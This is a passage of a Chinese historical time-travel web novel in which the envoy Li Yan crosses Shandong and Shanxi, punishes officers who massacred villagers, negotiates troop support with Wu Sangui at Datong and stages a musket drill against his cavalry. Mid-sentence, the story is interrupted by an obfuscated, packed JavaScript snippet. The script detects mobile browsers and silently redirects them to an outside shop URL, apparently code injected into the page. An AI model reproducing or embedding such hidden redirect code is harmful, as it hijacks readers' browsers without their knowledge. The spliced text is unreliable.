一个月内，遭遇七次刺杀，最险的一次，刺客的刀离他咽喉只有三寸。漕帮余孽、地方豪强、甚至可能还有宫里的势力，都想让他死在路上。 但孙传庭护卫严密，锦衣卫暗中清除，都挺过来了。 “大人，前面是德州了。”车外陈平禀报。 德州，运河与驿道交汇处，山东北大门。过了德州，就进入北直隶，离北京越来越近，但李炎不去北京——他转道向西，直奔大同。 “在德州休整半日。”李炎下令，“补充粮草，打探消息。” --- 午时·德州城 德州城比临清萧条许多。城墙有修补痕迹，城门口盘查森严，进出的百姓面带菜色，行色匆匆。 李炎车队在驿馆安顿后，他换了便服，只带陈平和两个亲兵，上街查看。 街市冷清，开门的店铺不足三成。粮铺前排着长队，价格高得离谱——一石米要三两银子，是正常年景的五倍。 “怎么这么贵？”李炎问一个老农。 老农苦笑：“客官外地来的？去年山东大旱，粮食减产，今年春粮还没收，粮商囤积居奇呗。官府倒是说平粜，可那点粮，哪够啊。” “官府不管？” “管？”老农摇头，“那些粮商，哪个不是官府老爷的亲戚？管什么管。” 正说着，远处传来喧哗。一队兵丁押着几个百姓过来，百姓哭喊着：“军爷，真没粮了！家里就剩这点种子，您拿走了，我们怎么活啊！” “少废话！闯贼要打过来了，大军要粮！你们不交，就是通贼！”为首的军官喝道。 李炎皱眉。这显然是借剿匪之名强征，与土匪何异？ 他正要上前，被陈平拉住：“大人，这里是山东地界，不宜插手地方军务。” 李炎犹豫片刻，最终还是没动。他现在是钦差，但无节制山东兵马之权，贸然干预，只会激化矛盾。 但心里憋着一股火。 回到驿馆，他立即写信给崇祯，陈述山东饥荒、军纪败坏之状，建议朝廷紧急调粮赈济，并严惩借剿匪之名扰民的将领。 写完信，他问陈平：“派去保定的人有消息吗？” 陈平摇头：“还没有。不过保定那边传回消息，说闯军李自成部确在陕西休整，但派出一支偏师东进，已破潼关，有威胁山西之势。” 山西！李炎心中一紧。大同在山西北部，若闯军入晋，吴三桂的态度就更加关键了。 “告诉孙传庭，明日提前出发，加快速度。” “是。” --- 申时·意外访客 驿馆来了一位不速之客——德州守备，姓杨，一个四十多岁的粗豪汉子。他带着两个亲兵，提着一坛酒、一只烧鸡，径直来见李炎。 “李太保！末将杨国柱，久仰大名！”杨守备嗓门洪亮，“听说太保路过德州，特来拜会！没什么好东西，一点酒肉，不成敬意。” 李炎打量他。杨国柱这个名字，他有点印象——历史上确有其人，后来在松锦之战中战死，算是个敢战的将领。 “杨守备客气，请坐。” 两人对坐。杨国柱倒上酒，自己先干一碗：“太保在临清的事，末将听说了！痛快！漕帮那帮蛀虫，早该收拾了！” “杨守备也受过漕帮的气？” “何止受过！”杨国柱愤然，“去年末将领兵押运军粮，过临清闸，被漕帮刁难，硬是扣了三天！要不是军情紧急，老子真想带兵平了那帮孙子！” 李炎心中一动：“杨守备驻守德州，对山东军情应该熟悉。方才我在街上，见有官兵强征百姓口粮，说是为防闯贼。不知……” 杨国柱脸色一变，压低声音：“太保，这事您最好别管。那些兵……是刘泽清部下的。” 刘泽清！李炎瞳孔一缩。这位山东总兵，历史上先是降闯，后降清，反复无常，而且贪婪残暴，纵兵劫掠是常事。 “刘总兵现在何处？” “在济南。”杨国柱声音更低，“不过……末将听说，他暗中和闯军有联络。” “可有证据？” “没有实据，但有些蛛丝马迹。”杨国柱道，“上月，有一支商队从河南来，持有刘总兵的关防，顺利通过德州。末将手下检查，发现车里装的不是货物，是……书信和金银。” “商队去哪了？” “往西，应该是去山西。”杨国柱顿了顿，“太保要去大同见吴三桂吧？末将劝您……小心些。山西那边，水太深了。” 李炎沉思。刘泽清若真与闯军勾结，那山西的局势就复杂了——吴三桂在观望，刘泽清在摇摆，而闯军正在东进。 “杨守备，若有一日，朝廷要你对付刘泽清，你敢吗？” 杨国柱一愣，随即拍胸脯：“有什么不敢！末将吃的是皇粮，忠的是皇上！刘泽清那厮要是敢反，末将第一个砍他！” “好！”李炎举杯，“有杨守备这句话，我就放心了。这杯酒，我敬你。” 两人对饮。杨国柱酒酣耳热，又说了许多山东军中的弊病：吃空饷、克扣粮饷、军纪败坏……桩桩件件，触目惊心。 “太保，末将说句掏心窝子的话。”杨国柱红着眼睛，“大明军队，已经烂到根子了。您改革漕运，是好事，但更该改革的是军制！不改，再多粮饷也是打水漂！” 这话说到李炎心坎上了。他何尝不想改革军制？但牵一发而动全身，比漕运改革难十倍。 “杨守备放心，军制改革，迟早要做。但需要时机，也需要……像你这样的将领支持。” “末将愿效犬马之劳！”杨国柱单膝跪地。 李炎扶起他，心中有了计较。山东是个重要棋子，杨国柱这样的将领，值得拉拢。 “杨守备，我写封信，你派人秘密送往京城，交给王承恩王公公。”李炎低声道，“信里会举荐你为山东副总兵，节制德州、临清防务。但此事机密，不可让刘泽清知道。” 杨国柱大喜：“谢太保提拔！” “先别谢。”李炎正色，“我要你做的，是盯住刘泽清，收集他通敌的证据。还有——保护漕运，保证运河畅通。能做到吗？” “能！”杨国柱斩钉截铁。 送走杨国柱，李炎立即写信。他要布下一颗暗子，在山东埋下一根钉子。 乱世之中，多一分准备，就多一分胜算。 --- 四月初三·入山西 车队过真定府，转入山西地界。 景象骤然不同。山峦起伏，道路崎岖，村庄大多建在山上，寨墙高垒，显然是为防匪患。田野里耕作的人很少，偶尔可见废弃的村落，残垣断壁上还有火烧痕迹。 “这一带闹过匪？”李炎问向导。 向导是个老镖师，走山西道几十年，闻言叹气：“何止闹过？这些年，陕西的流贼、本地的土匪、溃败的官兵……你来我往，老百姓苦啊。稍微平坦点的地方都没人敢住，都躲到山里去了。” “官府不管？” “管不过来。”老镖师摇头，“山西兵大多调去防闯贼了，地方上只剩些老弱残兵，守城都勉强，哪敢出剿？” 正说着，前方探马来报：“大人，有情况！” 孙传庭策马上前查看，片刻后回来，面色凝重：“是官军……在屠村。” “什么？！”李炎震惊。 车队加速前进，转过山坳，看到了惨烈一幕： 一个小山村正燃着大火，浓烟冲天。几十个穿号衣的士兵正在追杀百姓，哭喊声、惨叫声、狂笑声混在一起。地上已躺了数十具尸体，老弱妇孺皆有。 “住手！”孙传庭怒吼。 士兵们停手，看向这边。为首的是个百户，提着一把滴血的刀，满不在乎：“哪来的？少管闲事！” 李炎策马出列，亮出令牌：“本官钦差李炎！你们是哪部兵马？为何屠戮百姓？！” 看到“如朕亲临”的七星令，百户脸色一变，但仍强硬：“末将山西镇标营百户赵猛！奉命剿匪！这些村民通匪，按律当诛！” “通匪？证据呢？” “他们藏匿匪首！”赵猛指向一个被绑在树上的汉子，“此人就是匪首‘一阵风’，末将追捕多日，他们却藏匿不报！” 那汉子三十多岁，衣衫褴褛，浑身是伤，但眼神桀骜，啐了一口血沫：“狗官！老子杀富济贫，专杀你们这些贪官污吏！要杀便杀，少废话！” 李炎看向幸存村民，一个老妪哭喊：“大人明鉴啊！王铁匠不是匪，他是被逼的！去年粮税交不起，官府要抓他顶罪，他才逃上山……但他从没祸害过乡亲啊！” “听见了吗？”李炎盯着赵猛，“此人若是匪，为何村民护他？分明是你诬良为盗，滥杀无辜！” 赵猛恼羞成怒：“李太保！末将奉的是巡抚大人军令！您虽是钦差，但也管不到山西军务吧？” “军令？”李炎冷笑，“拿军令来看。” 赵猛掏出一纸文书。李炎接过，扫了一眼——确实是山西巡抚蔡懋德签发的剿匪令，但上面写的是“剿灭盘踞黑风寨之匪”，并非屠村。 “军令让你剿黑风寨，没让你屠村。”李炎将文书扔回，“孙传庭，将此人拿下，所有参与屠村的兵丁，全部缴械扣押！” “你敢！”赵猛拔刀，“弟兄们，他们人少，跟他们拼了！” 他手下还有五十多人，而李炎这边虽有五百骑兵，但分散在车队前后。真要冲突，难免伤亡。 李炎却毫无惧色，从怀中掏出手枪——还剩五发子弹。他对着天空放了一枪。 “砰！” 巨响震得山鸣谷应。赵猛等人没听过这种声音，都吓住了。 “本官有尚方宝剑，可先斩后奏。”李炎声音冰冷，“赵猛，你再动一下，下一枪打的就不是天了。” 赵猛脸色煞白，刀“当啷”落地。士兵们见状，纷纷放下武器。 孙传庭带人上前，将赵猛等人绑了。李炎下马，走到被绑的汉子面前：“你叫王铁匠？” “是。”汉子昂头，“要杀要剐，随便！” “我不杀你。”李炎让亲兵给他松绑，“但我要问你——若给你条活路，你愿不愿意为朝廷效力？” 王铁匠愣住：“什么？” “你熟悉山西地形，了解匪情，又有一身武艺。”李炎道，“与其占山为王，不如加入官军，堂堂正正剿匪安民。如何？” “官军？”王铁匠嗤笑，“官军比匪还狠！我才不……” “我不是让你加入他们。”李炎指着被绑的赵猛，“我是让你加入我的亲兵队。我给你一个百户的职位，月饷五两，任务是清查山西各地军纪，专治这种祸害百姓的败类。干不干？” 王铁匠瞪大眼睛，难以置信。周围的村民也呆了。 “大人……此话当真？” “军中无戏言。”李炎取出空白告身，当场填写，盖印，“这是告身，从现在起，你就是我麾下百户，专司军纪稽查。第一个任务——审问赵猛，把他这些年干的脏事，全挖出来。” 王铁匠接过告身，手在颤抖。他忽然跪地，重重磕头：“王铁柱愿为大人效死！” “起来。”李炎扶起他，“先救治乡亲，掩埋死者。所有损失，由官府赔偿。” 他转身对孙传庭道：“将赵猛等人押往太原，交给蔡巡抚，附上我的亲笔信——告诉他，若再纵容部下屠戮百姓，我参他一本！” “是！” 处理完这一切，天色已晚。车队在村外扎营，李炎让军医救治伤员，分发粮食。村民们跪了一地，千恩万谢。 夜深，李炎在帐中难以入眠。 王铁匠的事只是冰山一角。山西如此，陕西、河南、湖广……又有多少百姓被逼为盗？大明就像一间漏雨的房子，崇祯在屋顶补窟窿，而下面梁柱已经蛀空。 治标，更要治本。 “大人，王百户求见。”帐外陈平禀报。 “让他进来。” 王铁柱——现在该叫王百户了，换了身干净衣服，但脸上伤疤仍在。他进来后跪下：“大人，赵猛招了。” “说。” “他屠村不是为了剿匪，是为了……抢粮。”王铁柱咬牙，“山西今年春荒，军粮不足，上峰让各部‘自筹’。赵猛就带兵四处抢掠，抢完还栽赃给土匪。光是他这一队，这一个月就屠了三个村，抢粮五百石，金银无数。” 李炎握紧拳头：“上峰是谁？” “山西总兵周遇吉……的副将，许定国。”王铁柱道，“许定国让各部‘便宜行事’，抢到的粮食，三成上交，七成自留。所以……” 所以官兵比土匪还凶。 周遇吉李炎知道，历史上宁武关血战殉国的名将，以刚直著称。但他的副将竟如此不堪。 “周总兵知道吗？” “应该……不知道。”王铁柱迟疑，“周总兵驻防宁武关，防闯贼，山西内地军务都交给许定国了。” 李沉思。这可能是许定国瞒着周遇吉胡作非为，也可能是周遇吉默许——乱世之中，为保军队战斗力，有时候不得不纵兵抢粮。 但无论如何，这是饮鸩止渴。 “王百户，我给你个任务。”李炎正色道，“你带几个人，秘密调查山西各地驻军，有多少像赵猛这样祸害百姓的。名单、证据，全部记下。但要小心，不可打草惊蛇。” “卑职领命！”王铁柱眼中燃起火焰。他终于有机会，为那些冤死的乡亲报仇了。 待王铁柱退下，李炎铺开山西地图。 大同在最北，宁武关在西北，太原在中。吴三桂驻大同，周遇吉守宁武，许定国控太原——这三个人，将决定山西乃至整个北方的命运。 而他要做的，是在这三角之间，找到平衡点。 --- 四月初五·太原城 太原，晋王封地，山西首府。 李炎车队抵达时，山西巡抚蔡懋德率百官出城迎接。场面隆重，但李炎从蔡懋德眼中看到了不安。 果然，接风宴后，蔡懋德单独求见。 “李太保，赵猛的事……下官失察。”蔡懋德年过六旬，须发皆白，此刻愁容满面，“许副将说是剿匪，下官就批了令，没想到他纵兵屠村……” “蔡巡抚，赵猛只是小卒。”李炎直视他，“真正该负责的，是纵容部下的许定国，还有……您这位巡抚。” 蔡懋德汗出如浆：“下官知罪！但太保有所不知，山西如今……难啊。去岁大旱，今春饥荒，库中无粮，军中缺饷。许定国说‘自筹’，下官也是没办法……” “没办法就纵兵抢粮？”李炎拍案，“蔡巡抚，你是读书人，该知‘民为邦本’！百姓都死光了，你这巡抚给谁当？” 蔡懋德跪地：“太保教训的是……下官，下官愿辞官谢罪。” “辞官容易，但山西的烂摊子谁来收拾？”李炎扶起他，“蔡巡抚，我知你为难。但再难，也不能祸害百姓。我给你指条路——清丈田亩，追缴欠税。” 蔡懋德苦笑：“太保，山西田亩，十之七八在宗室、勋贵、士绅手中。他们……不好动啊。” “那就从晋王开始。”李炎语出惊人。 “什么？！”蔡懋德吓傻了，“晋王是太祖血脉，亲王之尊……” “亲王就不用纳税？”李炎冷笑，“洪武年间，亲王岁禄万石，但也要纳田赋。如今呢？晋王府占田三十万亩，一赋不纳，还享受朝廷供养。天下哪有这样的道理？” 蔡懋德嘴唇哆嗦：“这……这要得罪整个宗室啊！” “得罪就得罪。”李炎断然道，“蔡巡抚，你想想——是得罪宗室可怕，还是百姓揭竿而起可怕？是得罪士绅可怕，还是军队无粮哗变可怕？” 他走到窗前，望着太原城：“我知道你怕。但有些事，总得有人做。我给你撑腰，你放手去干。先从晋王府开始，追缴历年欠税。所得钱粮，一半充作军饷，一半赈济灾民。如何？” 蔡懋德挣扎良久，最终咬牙：“下官……遵命！” “好！”李炎取出一封信，“这是我写给皇上的密折，陈述山西困境，建议‘清丈宗室田亩，一体纳粮’。你派人快马送京。有这封信在，皇上怪罪下来，我担着。” 蔡懋德接过信，老泪纵横：“李太保……山西百姓，会记住您的恩德。” “我不要百姓记住我，我要他们活下去。”李炎顿了顿，“还有一事——我要见许定国。” --- 申时·总兵府 许定国四十多岁，满脸横肉，典型的武夫。见李炎来，他大马金刀坐着，只略一拱手：“李太保，久仰。” 态度倨傲。显然，赵猛被押送太原的事，他已经知道了。 “许副将，赵猛屠村的事，你可知道？”李炎开门见山。 “知道。”许定国满不在乎，“剿匪嘛，难免伤及无辜。太保是文官，不懂军事。” “我不懂军事，但懂王法。”李炎冷声道，“大明律：官兵劫掠百姓，与匪同罪，斩立决。许副将，你觉得赵猛该不该斩？” 许定国脸色一沉：“太保，赵猛是我的兵，要处置，也该由我来。” “你的兵？”李炎笑了，“普天之下，莫非王土；率土之滨，莫非王臣。大明的兵，什么时候成了你许定国的私兵？” 这话诛心。许定国拍案而起：“李炎！你别给脸不要脸！这里是山西，不是京城！强龙不压地头蛇的道理，你不懂？” “我懂。”李炎平静道，“但我这条龙，偏偏要压一压你这地头蛇。” 他亮出尚方宝剑：“许定国听旨——皇上密旨：山西总兵周遇吉忠勇可嘉，着即晋封太子太保，节制山西全境兵马。副将许定国，纵兵殃民，着即革职，押解进京问罪！” “什么？！”许定国大惊，“不可能！皇上怎么会……” “圣旨在此，你要抗旨吗？”李炎将一卷黄绫扔到他面前。 许定国展开，确实是圣旨，盖着玉玺。他当然不知道，这是李炎临行前，崇祯给他的空白圣旨之一，让他“便宜行事”。 “你……你假传圣旨！”许定国嘶吼。 “是真是假，到京城就知道了。”李炎挥手，“拿下！” 孙传庭带兵冲入，将许定国按倒在地。许定国的亲兵想反抗，但被王铁柱带人制住——王铁柱熟悉总兵府地形，早有准备。 不过一刻钟，许定国及其心腹全部被擒。 “李炎！你不得好死！”许定国挣扎怒骂，“周遇吉不会放过你的！” “周总兵那边，我自有交代。”李炎淡淡道，“押下去。” 处理完许定国，李炎立即给周遇吉写信，说明情况，并请他来太原主持大局。同时，他启用杨国柱推荐的另一个将领——原大同副总兵王朴，暂代许定国之职。 王朴历史上名声不好，后来降清，但此时还算可用。李炎给他下了死命令：整顿军纪，停止抢掠，违者斩。 一夜之间，山西军界变天。 消息传开，百姓拍手称快，但士绅惶惶——李炎连晋王都敢动，连许定国都敢抓， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115962|195859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有谁不敢动？ --- 四月初八·宁武来信 周遇吉的回信到了。 这位名将没有为许定国求情，反而感谢李炎“整肃军纪”，并表示将“尽快南下，共商防务”。信中，他透露了一个重要情报： “闯贼李自成，已派大将刘宗敏率军五万，出潼关，有东进山西之势。末将已加强宁武关防务，但恐独力难支。望太保速至大同，说动吴三桂出兵，共御闯贼。” 果然，李自成的动作比历史上快。是因为北京没打下来，要另寻出路？还是想趁明军虚弱，夺取山西？ 无论如何，时间更紧迫了。 李炎立即启程，留下王铁柱在太原协助蔡懋德，自己率队北上大同。 出太原城时，成千上万百姓跪在道旁，高呼“青天”。他们不知道朝廷争斗，只知道这个李太保来了，抢粮的官兵被抓了，日子有盼头了。 李炎看着这些淳朴的面孔，心中沉甸甸的。 他能救太原，能救山西吗？能救这个千疮百孔的大明吗？ 他不知道。他只知道，必须往前走。 --- 四月十二·雁门关 雁门关，天下九塞之首。 车队过关时，李炎特意登关远眺。只见群山如海，长城如龙，蜿蜒在崇山峻岭间。关口石壁上，历代名将题刻犹在，斑驳中透出苍凉。 “当年李牧守雁门，匈奴不敢南下。”孙传庭感慨，“如今……唉。” 如今，关外是虎视眈眈的满清，关内是蜂起的流寇，而守关的明军，缺饷少粮，军心涣散。 李炎抚摸冰凉的城墙，忽然问：“孙将军，若有一天，要你死守此关，你会吗？” 孙传庭毫不迟疑：“会。末将是军人，守土有责，马革裹尸是本分。” “好。”李炎拍拍他的肩，“但我要你活着。活着，才能做更多事。” 下关时，守关将领送来急报：吴三桂已得知李炎将至，派其弟吴三辅前来迎接，现已在关外三十里等候。 “吴三辅……”李炎沉吟。此人是吴三桂堂弟，也是关宁军重要将领。吴三桂派他来，既是示好，也是示威——你看，我弟弟这样的将领，随时可以调动。 “告诉吴将军，本官明日抵达。”李炎下令，“今晚在关内扎营，我要好好想想……怎么见这位平西伯。” 夜，雁门关营寨。 李炎在灯下研究吴三桂的资料。历史上对吴三桂的评价两极：有人说他“冲冠一怒为红颜”，是汉奸；也有人说他“反复无常”，是枭雄。但真实的历史，往往更复杂。 吴三桂，字长伯，辽东将门之后。父吴襄曾任锦州总兵，崇祯四年大凌河之战殉国。吴三桂少年从军，作战勇猛，二十八岁任宁远总兵，是明末最年轻的方面大将。 他镇守山海关四年，清军未能越雷池一步。但代价是——关宁军成为只听吴家号令的“私军”，朝廷的粮饷、升迁，吴三桂都要讨价还价。 “此人重利，也重名。”李炎分析，“降清前，他犹豫了整整一个月。不是不想降，是怕背上骂名。所以，对付他，要恩威并施——给足面子，也要让他知道，朝廷有底线。” 他提笔，给崇祯写密奏，建议： 一、正式晋封吴三桂为“平西侯”，加太子太傅，赐丹书铁券。 二、调拨粮饷三十万两，但分三期支付，视其表现而定。 三、命吴三桂移镇宣府，但许其保留关宁军旧部。 四、派御史监军，但给吴三桂“临机专断”之权。 这四条，既满足了吴三桂的虚荣心和实际利益，也埋下了制约的伏笔——移镇宣府，就远离了山海关老巢；分期给饷，就有了操控杠杆；监军御史，就是朝廷的眼睛。 写完密奏，李炎又给周遇吉写信，请他“适当示弱”，向吴三桂求援，给吴三桂一个“拯救同僚”的机会，满足其虚荣心。 最后，他召来春梅：“把我那件御赐蟒袍找出来，明天穿。” “大人要盛装见吴三桂？” “对。”李炎点头，“不仅要盛装，还要摆足钦差的架势。这种人，你越恭敬，他越看不起你；你越强势，他反而会尊重你。” 春梅似懂非懂，但照办了。 夜深，李炎走出营帐。雁门关的夜空，星辰璀璨，银河如练。 明天，就要见那个决定历史走向的人了。 他会如何选择？会像历史上那样降清，还是会……有不一样的结局？ 李炎不知道。但他知道，自己必须全力以赴，去争取那个不一样的结局。 哪怕只有一丝希望。 --- 四月十三·大同城外 大同，九边重镇。 李炎车队抵达时，吴三辅已率三百骑兵在城外迎接。这三百骑兵，人披铁甲，马配具装，军容严整，与李炎一路所见的明军截然不同。 “末将吴三辅，恭迎李太保！”吴三辅三十出头，与吴三桂有七分相似，但眉眼间多了几分骄横。 “吴将军免礼。”李炎端坐马上，蟒袍玉带，气度雍容，“平西伯可在城中？” “家兄在总兵府设宴，为太保洗尘。”吴三辅笑道，“太保请。” 入城。大同城比太原更显军事化，街道宽阔，商铺不多，但兵器铺、马具铺林立。百姓见军队经过，纷纷避让，眼神中有敬畏，也有麻木。 总兵府巍峨，门口立着两尊石狮，比巡抚衙门还气派。吴三桂亲自在门前迎接——这是极高礼遇了。 李炎下马，打量这位传奇人物。 吴三桂四十岁，身材魁梧，面如冠玉，蓄着短须，穿着蟒袍——那是崇祯先前赐的。他笑容满面，但眼中精光闪烁，显然在审视李炎。 “李太保远来辛苦！”吴三桂拱手，“末将有失远迎，恕罪恕罪！” “平西伯客气。”李炎还礼，“本官奉皇上之命，特来宣旨。” “请！” 进入正堂，香案已设好。李炎宣读圣旨——正是他建议的那些封赏。吴三桂跪接，表情恭敬，但李炎注意到，他听到“移镇宣府”时，眉头微不可察地皱了一下。 宣旨完毕，宴席开始。 山珍海味，歌舞助兴，排场极大。吴三桂不断敬酒，言语热络，但绝口不提正事。李炎也不急，谈笑风生，讲些京中趣闻、漕运见闻。 酒过三巡，吴三桂终于切入正题：“太保，听说您在临清整顿漕运，雷厉风行，末将佩服。只是……如今闯贼又起，朝廷当以剿贼为重，漕运之事，是否可缓？” “剿贼要粮，漕运就是粮道。”李炎放下酒杯，“平西伯可知，去年四百万石漕粮，实到京师不足三百万？若漕运畅通，军粮充足，闯贼何足道哉？” 吴三桂讪笑：“太保说的是。不过……末将听说，漕运改革，得罪了不少人。如今江南不稳，万一漕运中断，前线将士饿肚子，岂不更糟？” “所以本官来大同。”李炎直视他，“平西伯，朝廷需要你这样的栋梁坐镇。只要你在，闯贼就不敢东顾，朝廷就能安心整顿内政。” 这话把吴三桂捧得很高。他面色稍霁：“末将自当尽力。只是……关宁军五万将士，缺饷三个月了。没有粮饷，军心不稳啊。” 终于说到正题了。李炎早有准备：“皇上已下旨，拨饷三十万两，第一批十万两，半月内可到。但有个条件——” “什么条件？” “请平西伯出兵三万，助周遇吉总兵防守宁武关。”李炎正色道，“闯贼刘宗敏部五万已出潼关，宁武关若失，大同危矣。平西伯与周总兵互为犄角，方可保山西太平。” 吴三桂沉吟。他当然不想消耗自己的兵力去帮周遇吉，但李炎说得在理——宁武关若破，闯军直扑大同，他也不好过。 “三万太多。”他讨价还价，“关宁军要防清虏，最多出一万五。” “两万。”李炎让步，“且只需守三个月。三个月后，朝廷新军练成，自会接防。另外……周总兵那边，也会有所表示。” “什么表示？” 李炎压低声音：“周总兵愿将宁武关以东三县防务，交给平西伯。这三县的粮税，可供关宁军支用。” 这是李炎与周遇吉信中约定的——用三县地盘，换吴三桂出兵。对周遇吉来说，地盘小了，但压力减轻；对吴三桂来说，白得三县粮税，何乐不为？ 吴三桂眼睛亮了：“此话当真？” “周总兵亲笔信在此。”李炎取出信。 吴三桂看完，终于点头：“好！末将就出兵两万，助周总兵守关！” “平西伯深明大义！”李炎举杯，“本官敬你！” 两人对饮，表面一团和气。 但李炎知道，这只是开始。吴三桂这样的人，绝不会轻易被笼络。他要的，是实实在在的利益和权力。 而朝廷能给的，有限。 宴席散后，吴三桂送李炎到客房。临别时，他忽然问：“太保，听说皇上……身体欠安？” 李炎心中一凛，表面不动声色：“皇上日理万机，确实劳累。但并无大碍。” “那就好。”吴三桂意味深长，“国不可一日无君啊。” 这话听着像关心，实则是试探——如果崇祯不行了，他吴三桂该何去何从？ 李炎正色道：“皇上正值盛年，且有太子在，大明国祚永固。平西伯不必多虑。” 吴三桂笑了笑，不再多言。 回到客房，李炎久久无法入睡。 吴三桂的试探，暴露了他的心思——他在观望，在看崇祯还能撑多久，在看大明还有没有希望。 而李炎要做的，就是让他看到希望。 哪怕这个希望，要用血与火来铸就。 窗外，大同的夜空，没有星辰，只有厚重的云层。 山雨欲来风满楼。 而李炎，已经站在了风暴中心。 【第十章完】 11. 边城博弈 四月十五·大同夜话 子时已过，总兵府西厢客房内烛火未熄。李炎摊开大同周边的军事布防图，指尖划过桑干河、雁门关、宁武关这些熟悉又陌生的地名。烛光跳动，将他紧锁的眉头映在泛黄的宣纸上。 门外传来极轻的叩击声，三长两短。是锦衣卫“夜枭”的暗号。 “进来。” 夜枭推门闪入，一身黑衣几乎融进夜色，只有那双眼睛在烛光下亮得惊人。“大人，查到了三件事。” “说。” “第一，吴三桂昨夜宴后，密会了三个蒙古商人。”夜枭声音压得很低，“根据线报，那些商人来自科尔沁部，与满清关系密切。他们带来的不是皮货，是十二箱辽东人参和貂皮——价值超过五万两。离开时，箱子空了。” 李炎眼神一凝。蒙古商人、辽东特产、巨额财物……这显然不是普通贸易。 “第二，”夜枭继续，“吴三桂的弟弟吴三辅，三天前派亲信南下，目的地是……南京。” “南京？”李炎抬头，“去见谁？” “还在查。但线报说，吴三辅最近与南京某位勋贵书信频繁。”夜枭顿了顿，“大人，南直隶那边，可能有人想拉拢吴家。” 李炎心往下沉。南京是留都，有一套完整的朝廷班子。如果江南士绅想拥立新君，或者割据自保，手握重兵的吴三桂就是最佳拉拢对象。 “第三件事。”夜枭从怀中取出一张折叠的纸条，“这是从吴三桂书房废纸篓里找到的，只写了半句，但字迹是吴三桂的。” 李炎接过纸条，就着烛光细看。上面只有七个字：“若北京不守，则……” 后面的话被撕掉了。 若北京不守，则怎样？降闯？降清？还是自立？ “纸条怎么处理的？”李炎问。 “原样放回了。”夜枭道，“属下还找到几封没写完的信，都是给各地总兵的，内容都是‘共商大计’‘互为奥援’之类。吴三桂在织一张很大的网。” 李炎将纸条在烛火上点燃，看着它化为灰烬。“继续监视，但不要打草惊蛇。另外，查查吴三桂与刘泽清有没有联系。” “是。” 夜枭退下后，李炎在房中踱步。吴三桂的动向证实了他的判断——这位平西伯从未真正忠于大明，他只是在待价而沽。朝廷给的利益够多，他就当忠臣；利益不够，或者朝廷显露出颓势，他会毫不犹豫地另寻出路。 对付这种人，光给好处不行，还要让他怕。 “来人。”李炎唤来陈平，“去请孙传庭将军。” --- 丑时·密室定计 孙传庭匆匆而来，甲胄未卸，显然也没睡。“大人有何吩咐？” “孙将军，若让你率一千精兵，突袭吴三桂的军营，有几分把握？”李炎问得突兀。 孙传庭一愣，随即沉声道：“若出其不意，可破其前营，斩将夺旗。但吴军有五万之众，一旦反应过来，我们必被围歼。” “不是真打，是演习。”李炎眼中闪过一丝冷光，“明天，你选一千精锐，与吴三桂的关宁军来一场‘切磋’。记住，要赢，而且要赢得漂亮。” 孙传庭明白了：“大人是要……敲山震虎？” “对。”李炎点头，“吴三桂瞧不起朝廷兵马，觉得关宁军天下无敌。我们要让他知道，朝廷不是无人，他吴三桂也不是不可替代。” “可万一输了……” “所以必须赢。”李炎走到地图前，“关宁军强在骑兵，尤其是重甲骑兵。但我们有新式火器——宋先生改进的‘崇祯二式’燧发枪，射程百五十步，可破重甲。你挑三百火枪手，配给最好的枪，弹药带足。” 孙传庭眼睛亮了：“末将明白了！” “还有，”李炎补充，“我观察过，关宁军的阵型还是老一套，讲究正面冲阵。你让火枪手排成三列轮射，配以拒马、铁丝网，专克骑兵冲锋。再挑两百长枪手保护侧翼。” 两人商议细节到寅时。李炎最后叮嘱：“记住，点到为止，不可伤人。但场面要做足，要让所有人都看到——朝廷新军，不输关宁军。” “末将领命！” 孙传庭走后，李炎仍无睡意。他推开窗，大同的夜风凛冽，带着塞外的寒意。远处军营方向，隐约可见点点火光，那是关宁军的夜哨。 这座边城，看似平静，实则暗流汹涌。吴三桂在观望，满清在窥伺，闯军在逼近，而朝廷……能依靠的牌不多。 他必须把每一张牌，打到极致。 --- 辰时·校场演武 大同城西校场，旌旗猎猎。 吴三桂早早到了，坐在观武台上，左右是副将、参将等十余名将领。他今日穿着轻甲，外罩大红披风，神色轻松，显然没把这场“切磋”当回事。 李炎坐在主位，蟒袍玉带，气度沉凝。春梅扮作亲兵站在身后，手捧尚方宝剑。 台下，双方军队已列阵。 关宁军出阵一千，全是骑兵，分三队：前队三百重甲骑兵，人马俱披铁甲，手持长矛；中队四百轻骑兵，配弓刀；后队三百是吴三桂的亲卫“夷丁突骑”，由蒙古、女真降兵组成，凶悍善战。 朝廷军这边，孙传庭亲率一千人：前排三百火枪手，分三列；中间三百长枪手；后排四百是刀盾手和弓弩手。阵前还布置了简易铁丝网和拒马。 “李太保，”吴三桂笑道，“末将这些儿郎久经战阵，下手没轻重。万一伤了朝廷的兵马……” “比武切磋，伤亡难免。”李炎淡淡道，“皇上说了，当兵的，就要真刀真枪练。伤了，朝廷抚恤；死了，追封厚葬。平西伯不必顾虑。” 吴三桂眼中闪过一丝异色，但很快恢复笑容：“太保豪气！那就……开始？” 战鼓擂响。 关宁军前队率先发起冲锋。三百重甲骑兵如铁墙推进，马蹄踏地，声如闷雷。这是标准的骑兵冲阵，靠的是速度和冲击力，一旦冲垮敌方阵型，后续骑兵就能收割。 朝廷军阵中，孙传庭令旗一挥。 第一列火枪手单膝跪地，举枪；第二列站立举枪；第三列预备。距离一百五十步时，孙传庭大喝：“第一列，放！” “砰砰砰——” 白烟弥漫，枪声如爆豆。冲在最前的几十骑人仰马翻——虽然只是演习用的木制弹头，但打在身上剧痛，马匹受惊嘶鸣。 关宁军冲锋为之一滞。 “第二列，放！” 又是一轮齐射。这次更多骑兵“中弹”，阵型开始混乱。 “第三列，放！” 三轮齐射，关宁军前队已溃不成军。重甲骑兵冲击力虽强，但转向不便，一旦速度降下来，就成了活靶子。 观武台上，吴三桂脸色变了。他没想到朝廷火器如此犀利，更没想到孙传庭指挥如此沉稳。 “轻骑包抄！”他下令。 